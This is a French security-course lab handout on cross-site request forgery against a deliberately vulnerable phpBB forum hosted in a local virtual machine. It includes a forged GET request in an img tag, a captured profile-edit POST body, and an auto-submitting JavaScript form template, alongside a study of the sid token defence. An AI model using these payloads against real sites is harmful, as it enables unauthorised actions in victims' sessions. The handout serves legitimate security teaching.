Cross-Site Request Forgery (CSRF)

1 Introduction

L'objectif de ce TP est de comprendre le fonctionnement des attaques *cross-site-request forgery* (CSRF or XSRF)[1]. Une attaque CSRF implique une *victime*, un *site de confiance* et un *site malveillant*. La victime détient une session active avec le site de confiance alors qu'elle visite le site malveillant. Le site malveillant injecte une requête HTTP à l'attention du site de confiance à travers la session de la victime.

Ce TP met en œuvre une attaque de type CSRF sur un forum, en l'espèce une version de `phpBB` rendue vulnérable à ce type d'attaque. L'application originale intègre des protections contre ce type d'attaque qui seront étudiées en section 4.3.

2 Environment du TP

Pour ce TP il faut utiliser le navigateur Firefox, le serveur Apache ainsi que l'application web `phpBB`. Pour le navigateur, il faut utiliser l'extension `LiveHTTPHeaders` qui permet d'inspecter les messages HTTP. Alternativement, un analyseur de trace comme `Wireshark` le permet aussi. La machine virtuelle SEED est configurée à cet effet.

Démarrage du serveur Apache. Le serveur web Apache est également inclus dans la machine virtuelle `Ubuntu`. Il faut toutefois le lancer manuellement à l'aide d'une des deux commandes suivantes :

```
% sudo apache2ctl start
or
% sudo service apache2 start
```

Le forum `phpBB`. Le forum `phpBB` est lui aussi inclus dans l'image. Différents comptes utilisateurs ont été crées dans le forum. Identifiants et mots de passes sont indiqués dans les messages existants dans le forum. Une fois Apache lancé, les différentes adresses sont accessibles :

URL	Description	Directory
`http://www.csrflabattacker.com`	site web malveillant	/var/www/CSRF/Attacker/
`http://www.csrflabphpbb.com`	`phpBB` vulnérable	/var/www/CSRF/CSRFLabPhpbb/
`http://www.originalphpbb.com`	`phpBB` original	/var/www/OriginalPhpbb/

[1] voir `http://cwe.mitre.org/data/definitions/352.html` ou `https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)`

Configuration du DNS. Ces URLs sont accessibles seulement sur la boucle locale de la machine virtuelle. Le fichier `/etc/hosts` a été modifié pour que toutes ces URLS pointent vers `127.0.0.1` :

```
127.0.0.1     www.csrflabattacker.com
127.0.0.1     www.csrflabphpbb.com
127.0.0.1     www.originalphpbb.com
```

Si vous souhaitez faire fonctionner le TP entre plusieurs machines il faut modifier le fichier `/etc/hosts` en conséquence.

Configuring Apache Server. Dans l'image VM, Apache héberge tous les sites en utilisant la fonctionnalité *name-based virtual hosting* qui permet de fournir différentes URLs sur un même serveur. Le fichier de configuration `default` dans `/etc/apache2/sites-available` décrit cette configuration :

1. la directive "`NameVirtualHost *`" indique d'utiliser toutes les adresses IP;
2. chaque site web a un block `VirtualHost` qui donne son URL et le dossier qui contient le site :

```
<VirtualHost *>
    ServerName http://www.example1.com
    DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *>
    ServerName http://www.example2.com
    DocumentRoot /var/www/Example_2/
</VirtualHost>
```

3 Principes des attaques CSRF

Une attaque CSRF implique toujours trois participants : une victime, un site de confiance et un site malveillant. C'est une attaque qui exploite *la confiance d'un serveur envers les client qui s'y connectent*. La victime maintient une session active avec le site de confiance tandis qu'elle visite le site malveillant. Les étapes de l'attaque sont les suivantes :

1. la victime s'authentifie (légitimement) sur le site de confiance et établit une session;
2. le site de confiance stocke l'identifiant de session dans un cookie du navigateur de la victime;
3. la victime visite le site malveillant;
4. la page web du site malveillant envoie une requête vers le site de confiance depuis le navigateur de la victime;
5. le navigateur de la victime associe son cookie à cette requête vers le site de confiance qu'il connaît;
6. le site de confiance exécute la requête forgée par l'attaquant en pensant qu'il s'agit d'une demande normale de la victime.

Le site malveillant peut forger des requêtes HTTP GET ou POST. De plus, certaines balises HTML telles que *img*, *iframe*, *frame* ou *form* n'ont pas de contraintes sur les URLs de leur attributs. Les trois premières permettent de forger des requêtes GET, la quatrième des POST. Les deux méthodes sont vues dans ce TP.

4 Attaques CSRF et protection

Deux sites web sont utilisés dans ce TP, tous les deux configurés localement dans la machine virtuelle. Le forum `phpBB` vulnérable (qui vérifie mal l'authenticité de requêtes qu'il reçoit) est accessible à l'adresse `www.csrflabphpbb.com`. Le second est le site malveillant `www.csrflabattacker.com`, c'est sur celui-ci que les attaques seront configurées.

4.1 Activité 1 : attaques HTTP GET

Dans le forum `phpBB` vulnérable, une fois authentifié, un nouveau sujet peut être posté à l'aide d'une requête GET :

```
http://www.csrflabphpbb.com/posting.php?mode=newtopic&f=1
```

Cette requête contient deux paramètres `mode=newtopic` et `f=1` est envoyée vers le script `posting.php`, elle permet de créer un nouveau message dans le forum 1. Pour forger une requête qui poste un nouveau message, le site malveillant peut utiliser le champs URL des balises HTML *img* sur une de ses pages, par exemple :

```
<html>
<img src="http://www.csrflabphpbb.com/posting.php?mode=newtopic&f=1">
</html>
```

Dès que la victime visite le site malveillant, son navigateur émet une requête HTTP `GET` pour l'URL contenue dans le tag *img* pour télécharger ce qui devrait *a priori* être une image. Comme le navigateur attache son cookie de session à chaque visite du site de confiance, ce dernier ne peut pas distinguer une requête authentique d'une requête forgée. Il exécute ainsi la commande contenue ce qui compromet la session de l'utilisateur.

Dans cette activité, il faut observer la structure des différente requêtes pour poster des messages dans le forum `phpBB` et tenter de les forger depuis le site malveillant. On peut pour cela utiliser l'extension `LiveHTTPHeaders` disponible qui permet de voir quelque chose semblable à ça :

```
http://www.csrflabphpbb.com/posting.php?subject=hello&
addbbcode18=%23444444&addbbcode20=0&helpbox=Quote+text%3A+%5
Bquote%5Dtext%5B%2Fquote%5D++%28alt%2Bq%29&message=This+is+
my+message&topictype=0&poll_title=&add_poll_option_text=&
poll_length=&mode=newtopic&f=1&post=Submit
```

Tenter de forger une requête depuis le site malveillant qui permet d'injecter la création d'un nouveau message depuis la session `phpBB` de la victime. Essayer d'autres actions comme la modification ou la suppression de messages. Identifier des alternatives à la balise *img* et les essayer.

4.2 Activité 2 : attaques HTTP POST

Les requêtes HTTP `GET` sont généralement réservées aux actions qui n'ont pas d'effets de bord (pas de modification de l'état de l'application web). Dans cette nouvelle activité, il faut forger des requêtes `POST` qui modifient les informations du profil utilisateur dans `phpBB` - `www.csrflabphpbb.com`. Dans une requête `POST`, les paramètres sont transmis dans le corps du message et non dans l'URL. Forger de telles requêtes est donc un peu plus difficile. Une façon d'y parvenir est d'utiliser la balise *form*. Il faut de plus un petit programme JavaScript pour le valider automatiquement, sans intervention de la victime.

Le script `profile.php` permet de modifier les informations de profil. On peut observer la structure des messages échangés entre le navigateur et le script pour obtenir :

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 473
username=admin&email=admin%40seed.com&cur_password=&new_password=&
password_confirm=&icq=&aim=&msn=&yim=&website=&location=&
occupation=&interests=&signature=I+am+good+guy&viewemail=1&
hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=0&
allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&
style=1&timezone=0&dateformat=d+M+Y+h%3Ai+a&mode=editprofile&
agreed=true&coppa=0&user_id=2&
current_email=admin%40seed.com&submit=Submit
```

Maintenant, en utilisant les informations obtenues, il faut construire une page sur le site malveillant qui contient modifie le profil de la victime. Identifier les champs nécessaires de la requête. Indiquer quelles sont les limites de cette attaque. Pour faciliter la réalisation, une page HTML avec le petit programme JavaScript est donné (figure 1).

4.3 Activité 3 : mesures de protection

Le forum `phpBB` intègre des mesures de protection contre les attaques CSRF. Pour la réalisation de l'activité 1, le code `phpBB` a été modifié pour introduire une vulnérabilité. Originalement, `posting.php` n'accepte que les requêtes `POST` et pas `GET`. Toutefois, il a été remarqué qu'il ne s'agit pas d'une protection suffisante, cela rend seulement l'attaque un peu plus complexe mais réalisable.

`PhpBB` dispose d'un autre mécanisme contre les attaques CSRF. Dans le corps d'une requête, on peut voir l'information suivante :

```
sid=b349b781ecbb2268c4caf77f530c55ac
```

La valeur de `sid` est celle que l'on retrouve dans le cookie pour `phpbb2mysql_sid`. Le script `posting.php` vérifier que le `sid` est bien le même que celui du cookie. Si ce n'est pas le cas, la requête échoue.

Utiliser le forum `phpBB` accessible à `http://www.originalphpbb.com`, essayer les attaques précédentes et vérifier leur faisabilité. Si elles ne sont pas réalisables, expliquer pourquoi. D'autres mesures de protection contre les attaques CSRF existent. En identifier quelques-unes et les critiquer.

5 Rapport

Un rapport concis et précis résumant les observations et résultats obtenus dans ce TP devra être envoyé pour le 16 novembre. Utiliser des captures d'écran ou des extraits de code pour l'étayer.

```
<html><body><h1>
This page sends a HTTP POST request onload.
</h1>
<script>

function post(url,fields)
{
   //create a <form> element.
   var p = document.createElement('form');

   //construct the form
   p.action = url;
   p.innerHTML = fields;
   p.target = '_self';
   p.method = 'post';

   //append the form to this web.
   document.body.appendChild(p);

   //submit the form
   p.submit();
}

function csrf_hack()
{
   var fields;

   // You should replace the following 3 lines with your form parameters
   fields += "<input type='hidden' name='username' value='Alice'>";
   fields += "<input type='hidden' name='transfer' value='10000'>";
   fields += "<input type='hidden' name='to' value='Bot'>";
   // Note: don't add an element named 'submit' here;
   //       otherwise, p.submit() will not be invoked.
   //       'Submit' will work.
   post('http://www.example.com',fields);
}

window.onload = function(){csrf_hack();}
</script>
</body></html>
```

Figure 1: Example de programme JavaScript